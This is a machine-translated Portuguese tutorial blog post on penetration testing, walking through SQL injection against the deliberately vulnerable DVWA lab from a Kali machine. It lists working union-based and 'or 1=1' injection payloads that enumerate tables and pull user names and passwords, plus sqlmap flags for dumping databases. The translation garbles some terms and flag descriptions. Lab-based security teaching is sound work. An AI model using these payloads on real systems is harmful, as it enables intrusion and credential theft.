Compartilhamento de tecnologia

[Desenvolvimento de teste] - Teste de penetração de segurança

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. Penetração de segurança

1.1 Classificação

  • segurança de banco de dados web
  • Segurança do servidor de aplicativos da Web (vulnerabilidade de upload de arquivo, vulnerabilidade de inclusão de arquivo)
  • Segurança do cliente Web (ataque entre sites XSS)

2. injeção de SQL

2.1 Introdução à injeção de SQL

  • Injeção de SQL está no topo da lista de problemas de segurança
  • O ataque de injeção de SQL ocorre quando os parâmetros de entrada não são filtrados e, em seguida, inseridos diretamente na instrução SQL para análise.
  • A injeção de SQL é uma técnica de ataque que adiciona código SQL aos parâmetros de entrada e o passa ao servidor para análise e execução.

2.2 Princípio de injeção SQL

  • O invasor envia caracteres maliciosos na página
  • O servidor não filtra os parâmetros enviados ou a filtragem é insuficiente.
  • Os invasores usam instruções SQL para obter informações confidenciais do banco de dados

2.3 Perigos da injeção de SQL

  • Vazamento de banco de dados
  • Os dados do usuário foram comprados e vendidos ilegalmente
  • Comprometendo a segurança de aplicativos da web

2.4 Método de implementação de injeção SQL

  • Manual
    • Encontrar: ponto de injeção
    • Entrada: sintaxe de combinação de injeção comum SQL para injeção
  • automático (ferramenta)
    • Ferramenta: Procure pontos de injeção
    • Entrada: tente automaticamente várias combinações de sintaxe

3. Configuração do ambiente

Máquina virtual VMware 3.1

3.1.1 Função

  • Software de máquina virtual, você pode usar software para instalar vários sistemas operacionais virtuais (Linux, Windows) em máquinas físicas
  • Drones alvo e penetrantes executados com software VMware
    Tutorial de download do VMware

3.2 Drone alvo (aprendendo a usar o ambiente do projeto)

efeito

3.3 Máquina de penetração (aprendendo a atacar o ambiente de injeção sql)

efeito:

  • Kali contém centenas de ferramentas que podem ser usadas para diversas tarefas de segurança da informação, como testes de penetração, pesquisas de segurança

4. Injeção manual

4.1 Preparação do ambiente

Descrição: Pratique a injeção manual por meio do aplicativo web do drone
etapa:

  • Iniciar drone alvo OWASP
    Insira a descrição da imagem aqui

  • Acesse o drone através de um navegador

  • Visite o projeto OWASP-dvwa
    Insira a descrição da imagem aqui

  • Conecte-se
    Insira a descrição da imagem aqui

  • Selecione o aplicativo de injeção SQL
    Insira a descrição da imagem aqui

4.2 Encontre o ponto de injeção

Nota: Use principalmente aspas simples e caracteres de escape, principalmente aspas simples
princípio:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

Insira a descrição da imagem aqui

Insira a descrição da imagem aqui

4.3 OU Lógico

Insira a descrição da imagem aqui

4.4 Adivinhe o número de colunas

  1. por sindicato
' union select 1,2 #
  • 1

Insira a descrição da imagem aqui
2. Por OU lógico

'or 1=1#
  • 1

Insira a descrição da imagem aqui

4.5 Obtenha bancos de dados, tabelas e colunas

Obtenha o nome do banco de dados

' union select 1,database()#
  • 1

Insira a descrição da imagem aqui
Obter mesa

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

Insira a descrição da imagem aqui

Obter coluna

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

Insira a descrição da imagem aqui

4.6 Obtenha dados

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

Insira a descrição da imagem aqui

4.7 função concat

Função: Unir várias strings em uma string
Sintaxe: concat(str1,str2,…)
Exemplo:

  • Obtenha user_id, usuário, senha da tabela de usuários e exiba-os em duas colunas
select user_id,concat (user,password) from dvwa,users;
  • 1

Insira a descrição da imagem aqui

  • Resolva o problema de unir usuário e senha
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

Insira a descrição da imagem aqui

  • Obtenha vários campos
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

Insira a descrição da imagem aqui

5. Injeção automática

5.1 Introdução à injeção automática

Nota: A injeção automática refere-se ao uso de ferramentas em vez de trabalho manual para concluir as operações de injeção de SQL.
Ferramenta: sqlmap

5.2 Injetar automaticamente o ambiente

  • Inicie o drone
  • Inicie a máquina de penetração

5.3 mapa sql

Ferramenta: sqlmap

  • Uma ferramenta de teste de penetração de código aberto
  • Detecte e explore automaticamente vulnerabilidades de injeção de SQL e assuma o controle de servidores de banco de dados
    Construir:

5.3.1 Uso básico do sqlmap

parâmetro

  • -u: verifica o URL de destino
  • –batch: processa automaticamente informações de prompt
  • –cookie: parâmetros adicionais de cookie

etapa

  • Ponto de injeção de digitalização
  • Obtenha o nome do banco de dados
  • Obtenha o nome da tabela
  • Obtenha o nome do campo
  • recuperar dados

Como precisamos fazer login, primeiro obtemos o cookie da página logada
Insira a descrição da imagem aqui
Então comece a escanear o ponto de injeção
Insira a descrição da imagem aqui
Injeção bem sucedida
Insira a descrição da imagem aqui

5.3.2 sqlmap obtém o nome da biblioteca

– current-db: consulta o nome do banco de dados usado pela web atual
-D: aplica o banco de dados especificado
Insira a descrição da imagem aqui
resultado da operação:
Insira a descrição da imagem aqui

5.3.3 sqlmap obtém tabela

– current-db: consulta todos os nomes de tabelas na biblioteca especificada (você precisa usar -D para especificar o nome da biblioteca primeiro)
-T: Especifique a tabela
Insira a descrição da imagem aqui

resultado da operação:
Insira a descrição da imagem aqui

5.3.4 sqlmap obtém colunas

– colunas: consulte todos os campos da tabela especificada (você precisa usar -T para especificar o nome da tabela primeiro)
-C: Especifique o nome do campo

Insira a descrição da imagem aqui
resultado da operação:
Insira a descrição da imagem aqui

5.3.5 sqlmap obtém dados

–dump: Baixar dados

Insira a descrição da imagem aqui
resultado da operação:
Insira a descrição da imagem aqui